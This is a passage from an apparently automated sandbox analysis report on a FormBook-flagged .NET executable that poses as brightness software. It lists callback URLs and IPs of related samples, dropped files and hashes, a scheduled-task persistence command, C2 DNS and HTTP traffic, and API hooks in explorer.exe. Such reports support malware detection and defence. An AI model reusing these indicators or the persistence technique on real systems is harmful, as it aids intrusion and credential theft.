	Productivity.exe	Get hash	malicious	Browse	ww1.thefreesmsapp.com/_tr
	kIWGxQYKYO.exe	Get hash	malicious	Browse	www.burgettflorist.com/scb0/?3fS4=GgI5Mtow8RWwVkMKBQaBMThn8Kn2le3rEGwIGwauHSmKVNxcFOKD/koJDpRpHIi9Dc2a2cTcbQ==&s4UxHb=VdWhLdXhd8SL8l
	PO 1,5001993 21118.exe	Get hash	malicious	Browse	www.shose8.com/ergs/?3fH8bR=WRNiM0MNR83AvUgJMfCXzTGXaLsU3JZqni9ehjpnFXkT45BJtbNl1RpkrODexH0A0JoG&nX=xFQHHbDxAfpTC
	2F530A45E4ACF58D16DAD1B1E23B5B1419BA893C2F76F.exe	Get hash	malicious	Browse	ww1.survey-smiles.com/
	RFQ_Beijing Chengruisi Manufacturing_pdf.exe	Get hash	malicious	Browse	www.anodynemedicalmassage.com/euzn/?G0Ddo=u178RPbEoFHNEMSTYSAKyFLEc68kuAf3hAv/2v3T+vkoQ4nsSSLkzGkhPsJYzpfotw78F7bWTQ==&2dod=HL3Tzluhwhvxcp
	SQLPLUS.EXE	Get hash	malicious	Browse	ww1.weirden.com/
	TNT 07833955.exe	Get hash	malicious	Browse	www.tenncreative.com/b5ce/?C2M=Rg3TsdfntIiWJKNWRmLTqgm5mB7Gwns4ujDsoW9GSorZA7LMeCjIS06nAIZUc2zUa+VgrpSNrw==&2dtd=2dTpyPZX3Tqt_8d0
	LogJhhPPyK.exe	Get hash	malicious	Browse	www.mammutphilippines.com/n90q/?-ZYT=GiWrvS/99XrV+2Uf6Zy/o5YW6c6VukN0OHlBSCCHHBiFQpS9xb5cjKCaQXfJL9Q9t00b&IZsH=3fjpWpD0JdD
	PO.exe	Get hash	malicious	Browse	www.rejddit.com/ig04/?0DH8qx3=3h/Tr838qcHUz18OOMqR99bs8cT2OrpSq2e3FqStS3xcK7WNKLX9gCPVSXRmyxeIco6krjPjWg==&jL3=-ZrdqHw
	D1B9D1321F517D78BC0D1D03C5ED3C20A1CCB85BF755B.exe	Get hash	malicious	Browse	ww4.onlygoodman.com/
	pay.exe	Get hash	malicious	Browse	www.salartfinance.com/t75f/?V6yLxzHh=lAZRvM4hLFtTWseMMjmTcl+RZcUPNrURFXAml9hw9i0ZHFoSyWAXJ/sXcd8B+Vv3Doaf&bX=AdotnVi0RxtDfRqP
	DOC.exe	Get hash	malicious	Browse	www.camham.co.uk/imm8/?oZBd28E8=JSfa42tBaq4a3YeMfphPE2TCUHWdSJf7Yy7nyCnDPKehtAvkSRQbSxaf+1hgIsLr6SVj&7n6hj=p2MtFfu8w4Y
	RFQ.Order 0128-44.exe	Get hash	malicious	Browse	www.glatt.store/5afm/?0FQ0vvt=JMGrtXIs8RtMHth06d94tZTj42tDCsOeVWPwlq/2m+LWjBoF9Wmh8X/iRtktzTq0TwDw&nP=PtUdq8l
	PAYMENT ADVICE.exe	Get hash	malicious	Browse	www.wwwrigalinks.com/bp39/?kd3=7nx4e8sXT&6lTp=toZvbJQL0cTYgDF5OxAGAk7QJRoDVvuNfvSwYwfcNspP7qp4L1Koj5ofZh66BEpk6+Ro

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
BODIS-NJUS	XaTgTJhfol.exe	Get hash	malicious	Browse	199.59.242.153
	6pa7yRpcFt.exe	Get hash	malicious	Browse	199.59.242.153
	drolnux.exe	Get hash	malicious	Browse	199.59.242.153
	Emask230921doc.exe	Get hash	malicious	Browse	199.59.242.153
	Invoice Packing list.exe	Get hash	malicious	Browse	199.59.242.153
	D8043D746DC108AC0966B502B68DDEABA575E841EDFA2.exe	Get hash	malicious	Browse	199.59.242.153
	Productivity.exe	Get hash	malicious	Browse	199.59.242.153
	Productivity.exe	Get hash	malicious	Browse	199.59.242.153
	kIWGxQYKYO.exe	Get hash	malicious	Browse	199.59.242.153
	PO 1,5001993 21118.exe	Get hash	malicious	Browse	199.59.242.153
	2F530A45E4ACF58D16DAD1B1E23B5B1419BA893C2F76F.exe	Get hash	malicious	Browse	199.59.242.153
	RFQ_Beijing Chengruisi Manufacturing_pdf.exe	Get hash	malicious	Browse	199.59.242.153
	SQLPLUS.EXE	Get hash	malicious	Browse	199.59.242.153
	TNT 07833955.exe	Get hash	malicious	Browse	199.59.242.153
	LogJhhPPyK.exe	Get hash	malicious	Browse	199.59.242.153
	PO.exe	Get hash	malicious	Browse	199.59.242.153
	D1B9D1321F517D78BC0D1D03C5ED3C20A1CCB85BF755B.exe	Get hash	malicious	Browse	199.59.242.153
	pay.exe	Get hash	malicious	Browse	199.59.242.153
	DOC.exe	Get hash	malicious	Browse	199.59.242.153
	Factura proforma adjunta.exe	Get hash	malicious	Browse	199.59.242.150

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\010013.exe.log Download File
Process:	C:\Users\user\Desktop\010013.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1216
Entropy (8bit):	5.355304211458859
Encrypted:	false
SSDEEP:	24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
MD5:	FED34146BF2F2FA59DCF8702FCC8232E
SHA1:	B03BFEA175989D989850CF06FE5E7BBF56EAA00A
SHA-256:	123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
SHA-512:	1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

C:\Users\user\AppData\Local\Temp\tmp30F5.tmp Download File
Process:	C:\Users\user\Desktop\010013.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.1816662051183195
Encrypted:	false
SSDEEP:	24:2dH4+SEqC/S7hblNMFp//rlMhEMjnGpwjpIgUYODOLD9RJh7h8gKBG1tn:cbhK79lNQR/rydbz9I3YODOLNdq3G
MD5:	D8B84E3256D1DA52F9B1E5C0A6008F34
SHA1:	F134BC15D5A34A1059E8050724115B08EABDAD86
SHA-256:	3C57F0275A427F06FDFACD5D230CB58F73B5101451F10C315909F24FB64117F5
SHA-512:	B5D3E6B44F4ECB9595496606C9AD8FA8BE9776F7ECA305F33F39B36B347584CF45011A0D5197415359ED582752FD862465AD8B3169931122A3DB0B12A259020D
Malicious:	true
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-10-25T14:27:44.8929027</Date>.. <Author>computer\user</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>.. <Enabled>true</Enabled>.. <UserId>computer\user</UserId>.. </LogonTrigger>.. <RegistrationTrigger>.. <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>.. <Principal id="Author">.. <UserId>computer\user</UserId>.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>LeastPrivilege</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. <StartWhenAvailable>true

C:\Users\user\AppData\Roaming\ELqDlkdxF.exe Download File
Process:	C:\Users\user\Desktop\010013.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	601600
Entropy (8bit):	7.606069522598356
Encrypted:	false
SSDEEP:	12288:LQjPkrSB8R8NmZHakSp3dB8ls0eOKsRJBOBnylN2:MjPpB+8AVaXr0JZ/KnKN
MD5:	B670879D45E75EB7F88FE047F9E88E5F
SHA1:	7497D669A327AEBF33EC9DD1C554444D4EE826CF
SHA-256:	EC427D5A521CDC4F2690AC7FFA883C982C4E3008991127998B0CFDF32F240F30
SHA-512:	B3F60DC3E35BABBCE28CBBDB21E067DBDFA41B05CCFB35693BC4C84DB90FE32551701924EDE85517CD5676CCA999A16D3BFFC71175A97B1EA74AD41CFCC45839
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 32%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Qfa..............0.."...........@... ...`....@.. ....................................@.................................0@..O....`............................................................................... ............... ..H............text.... ... ...".................. ..`.rsrc........`.......$..............@..@.reloc...............,..............@..B................d@......H........C..${.............@...........................................".(.........0............\|....(.....+......0...............\|.....(.......(&.......0............{....l#......o@[.+....0..W.........#.......?....,..#.......?...+..#............,..#.............#......o@Z.}.....(&......0............{.....+...0................}.........0............(....(l....+......0..............,.....(-.....+...(..........0............{.....+...0..C...........,...(.....(.........

C:\Users\user\AppData\Roaming\ELqDlkdxF.exe:Zone.Identifier Download File
Process:	C:\Users\user\Desktop\010013.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.606069522598356
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	010013.exe
File size:	601600
MD5:	b670879d45e75eb7f88fe047f9e88e5f
SHA1:	7497d669a327aebf33ec9dd1c554444d4ee826cf
SHA256:	ec427d5a521cdc4f2690ac7ffa883c982c4e3008991127998b0cfdf32f240f30
SHA512:	b3f60dc3e35babbce28cbbdb21e067dbdfa41b05ccfb35693bc4c84db90fe32551701924ede85517cd5676cca999a16d3bffc71175a97b1ea74ad41cfcc45839
SSDEEP:	12288:LQjPkrSB8R8NmZHakSp3dB8ls0eOKsRJBOBnylN2:MjPpB+8AVaXr0JZ/KnKN
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Qfa..............0.."...........@... ...`....@.. ....................................@................................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General
Entrypoint:	0x494082
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x616651A1 [Wed Oct 13 03:25:21 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
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Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x94030	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x96000	0x610	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x98000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x92088	0x92200	False	0.842114320466	data	7.61582081487	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rsrc	0x96000	0x610	0x800	False	0.33837890625	data	3.46983259405	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x98000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x96090	0x380	data
RT_MANIFEST	0x96420	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright	Copyright 2015
Assembly Version	2.0.1.0
InternalName	AnsiBSTRMarshal.exe
FileVersion	2.0.1.0
CompanyName	reblGreen Software Ltd
LegalTrademarks
Comments
ProductName	DimWin Brightness
ProductVersion	2.0.1.0
FileDescription	DimWin Brightness
OriginalFilename	AnsiBSTRMarshal.exe

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2021 13:38:44.015281916 CEST	49791	80	192.168.2.4	199.59.242.153
Oct 13, 2021 13:38:44.115080118 CEST	80	49791	199.59.242.153	192.168.2.4
Oct 13, 2021 13:38:44.118489981 CEST	49791	80	192.168.2.4	199.59.242.153
Oct 13, 2021 13:38:44.118587971 CEST	49791	80	192.168.2.4	199.59.242.153
Oct 13, 2021 13:38:44.218379974 CEST	80	49791	199.59.242.153	192.168.2.4
Oct 13, 2021 13:38:44.219188929 CEST	80	49791	199.59.242.153	192.168.2.4
Oct 13, 2021 13:38:44.219228029 CEST	80	49791	199.59.242.153	192.168.2.4
Oct 13, 2021 13:38:44.219244003 CEST	80	49791	199.59.242.153	192.168.2.4
Oct 13, 2021 13:38:44.219377041 CEST	49791	80	192.168.2.4	199.59.242.153
Oct 13, 2021 13:38:44.219434023 CEST	49791	80	192.168.2.4	199.59.242.153

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2021 13:38:27.073447943 CEST	49714	53	192.168.2.4	8.8.8.8
Oct 13, 2021 13:38:27.103349924 CEST	53	49714	8.8.8.8	192.168.2.4
Oct 13, 2021 13:38:43.908369064 CEST	63153	53	192.168.2.4	8.8.8.8
Oct 13, 2021 13:38:44.011991978 CEST	53	63153	8.8.8.8	192.168.2.4
Oct 13, 2021 13:39:04.734747887 CEST	56534	53	192.168.2.4	8.8.8.8
Oct 13, 2021 13:39:04.756268024 CEST	53	56534	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 13, 2021 13:38:27.073447943 CEST	192.168.2.4	8.8.8.8	0xb54f	Standard query (0)	www.smithridge.net	A (IP address)	IN (0x0001)
Oct 13, 2021 13:38:43.908369064 CEST	192.168.2.4	8.8.8.8	0x93f2	Standard query (0)	www.lifestyleeve.com	A (IP address)	IN (0x0001)
Oct 13, 2021 13:39:04.734747887 CEST	192.168.2.4	8.8.8.8	0x3f4e	Standard query (0)	www.myceliated.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 13, 2021 13:38:27.103349924 CEST	8.8.8.8	192.168.2.4	0xb54f	Name error (3)	www.smithridge.net	none	none	A (IP address)	IN (0x0001)
Oct 13, 2021 13:38:44.011991978 CEST	8.8.8.8	192.168.2.4	0x93f2	No error (0)	www.lifestyleeve.com		199.59.242.153	A (IP address)	IN (0x0001)
Oct 13, 2021 13:39:04.756268024 CEST	8.8.8.8	192.168.2.4	0x3f4e	Name error (3)	www.myceliated.com	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.lifestyleeve.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49791	199.59.242.153	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 13, 2021 13:38:44.118587971 CEST	6237	OUT	GET /o4ms/?X61HiLc=8GNZfXhxkQPDp/0Q3wwiQDJ4fZPKroBOtzHsTvHuSmq05FSo/HrWX19J684oFY+7hHWk&jHPhl=5jo4ZxbHw HTTP/1.1 Host: www.lifestyleeve.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Oct 13, 2021 13:38:44.219188929 CEST	6242	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 13 Oct 2021 11:38:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: parking_session=d071644c-350b-9aea-2d9b-70a504d7b3bd; expires=Wed, 13-Oct-2021 11:53:44 GMT; Max-Age=900; path=/; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_SuEUGgy7LID+aVnkGYt+Amyi8rqPTwcnZPcBVXI3DSv4dD5sK8yzh4BONnC2ab6f6ZEZ5XJeo5x9LOZxCuckbw== Cache-Control: no-cache Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-store, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Data Raw: 35 39 35 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 53 75 45 55 47 67 79 37 4c 49 44 2b 61 56 6e 6b 47 59 74 2b 41 6d 79 69 38 72 71 50 54 77 63 6e 5a 50 63 42 56 58 49 33 44 53 76 34 64 44 35 73 4b 38 79 7a 68 34 42 4f 4e 6e 43 32 61 62 36 66 36 5a 45 5a 35 58 4a 65 6f 35 78 39 4c 4f 5a 78 43 75 63 6b 62 77 3d 3d 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 72 6b 69 6e 67 2e 62 6f 64 69 73 63 64 6e 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 20 63 72 6f 73 73 Data Ascii: 595<!doctype html><html lang="en" data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_SuEUGgy7LID+aVnkGYt+Amyi8rqPTwcnZPcBVXI3DSv4dD5sK8yzh4BONnC2ab6f6ZEZ5XJeo5x9LOZxCuckbw=="><head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="shortcut icon" href="/favicon.ico" type="image/x-icon"/><link rel="preconnect" href="https://www.google.com" crossorigin><link rel="dns-prefetch" href="https://parking.bodiscdn.com" crossorigin><link rel="dns-prefetch" href="https://fonts.googleapis.com" cross

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x89 0x9E 0xEF
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x81 0x1E 0xEF
GetMessageW	INLINE	0x48 0x8B 0xB8 0x81 0x1E 0xEF
GetMessageA	INLINE	0x48 0x8B 0xB8 0x89 0x9E 0xEF

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: 010013.exe PID: 1568 Parent PID: 5720

General

Start time:	13:37:02
Start date:	13/10/2021
Path:	C:\Users\user\Desktop\010013.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\010013.exe'
Imagebase:	0x4c0000
File size:	601600 bytes
MD5 hash:	B670879D45E75EB7F88FE047F9E88E5F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.707504669.0000000002932000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.707936847.00000000038F9000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.707455914.00000000028F1000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Analysis Process: schtasks.exe PID: 6420 Parent PID: 1568

General

Start time:	13:37:13
Start date:	13/10/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\ELqDlkdxF' /XML 'C:\Users\user\AppData\Local\Temp\tmp30F5.tmp'
Imagebase:	0xc20000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 1320 Parent PID: 6420

General

Start time:	13:37:13
Start date:	13/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: 010013.exe PID: 2128 Parent PID: 1568

General

Start time:	13:37:13
Start date:	13/10/2021
Path:	C:\Users\user\Desktop\010013.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\010013.exe
Imagebase:	0x460000
File size:	601600 bytes
MD5 hash:	B670879D45E75EB7F88FE047F9E88E5F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.772997632.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.773808293.0000000000E70000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.774956721.00000000011E0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: explorer.exe PID: 3424 Parent PID: 2128

General

Start time:	13:37:15
Start date:	13/10/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6fee60000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000000.735504885.0000000006BF7000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000000.752185973.0000000006BF7000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 